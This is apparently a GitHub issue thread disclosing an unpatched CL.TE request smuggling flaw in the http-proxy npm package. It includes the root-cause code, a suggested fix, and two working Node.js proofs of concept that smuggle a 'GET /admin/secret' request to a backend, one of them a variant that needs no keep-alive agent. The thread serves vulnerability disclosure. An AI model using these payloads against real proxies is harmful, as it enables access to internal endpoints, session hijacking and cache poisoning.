Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057

[Black1hp]

Summary

The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.

CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.

Affected

• Package: http-proxy
• Version: 1.18.1 (latest, released 2020-05-17)
• All versions since v0.9.0

Root Cause

lib/http-proxy/passes/web-incoming.js:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']) {
      req.headers['content-length'] = '0';
      delete req.headers['transfer-encoding'];
    }
},

Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).

Reproduction

const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');

const backend = http.createServer((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk.toString());
  req.on('end', () => {
    console.log(`[BACKEND] ${req.method} ${req.url}`);
    res.end('OK');
  });
});

backend.listen(9001, () => {
  const httpAgent = new http.Agent({ keepAlive: true });
  const proxy = httpProxy.createProxyServer({
    target: 'http://127.0.0.1:9001',
    agent: httpAgent  // keep-alive required for smuggling
  });
  const server = http.createServer((req, res) => proxy.web(req, res));

  server.listen(9000, () => {
    const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
    const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';

    client.write(
      'DELETE /api HTTP/1.1\r\n' +
      'Host: localhost\r\n' +
      'Transfer-Encoding: chunked\r\n' +
      '\r\n' +
      smuggled.length.toString(16) + '\r\n' +
      smuggled +
      '\r\n0\r\n\r\n'
    );
  });
});

Output:

[BACKEND] DELETE /api
[BACKEND] GET /admin/secret  ← smuggled request parsed

Preconditions

1. Proxy must use a keep-alive agent (default config uses Connection: close which prevents smuggling)
2. Backend must reuse connections
3. Attacker can send requests to the proxy

Impact

• Request smuggling: arbitrary second request injected to backend
• Access internal endpoints bypassing proxy routing
• Session hijacking via shared connection context
• Cache poisoning

Suggested Fix

Apply the same fix Next.js applied:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']
       && !req.headers['transfer-encoding']) {
      req.headers['content-length'] = '0';
      // Do NOT delete transfer-encoding
    }
},

References

• CVE-2026-29057 (assigned to Next.js for this issue)
• Next.js fix: only add Content-Length: 0 when both headers absent

Reported by: @Black1hp

[joshbarbee]

keep-alive does not need to be set on the proxy. With the below script, which removes the keep-alive header on the proxy, but sets Connection: upgrade on the client, the request is still smuggled. Note that the smuggled request does not return a response from the backend, since the connection is closed, but the request is executed on the backend.

const http = require("http");
const httpProxy = require("http-proxy");
const net = require("net");

const backend = http.createServer((req, res) => {
  let body = "";
  req.on("data", (chunk) => (body += chunk.toString()));
  req.on("end", () => {
    console.log(`[BACKEND] ${req.method} ${req.url}`);
    res.end("OK");
  });
});

backend.listen(9001, () => {
  const httpAgent = new http.Agent({ keepAlive: true });
  const proxy = httpProxy.createProxyServer({
    target: "http://127.0.0.1:9001",
  });
  const server = http.createServer((req, res) => proxy.web(req, res));

  server.listen(9000, () => {
    const client = net.createConnection({ host: "127.0.0.1", port: 9000 });
    const smuggled =
      "GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n";

    client.write(
      "DELETE /api HTTP/1.1\r\n" +
        "Host: localhost\r\n" +
        "Transfer-Encoding: chunked\r\n" +
        "Connection: upgrade\r\n" +
        "\r\n" +
        smuggled.length.toString(16) +
        "\r\n" +
        smuggled +
        "\r\n0\r\n\r\n",
    );
  });
});

I tried to report this same vuln in early June to the maintainers, but couldn't get a response. NPM hasn't demonstrated a willingness to respond either (wanted a warning on package installs, since the repo is unmaintained).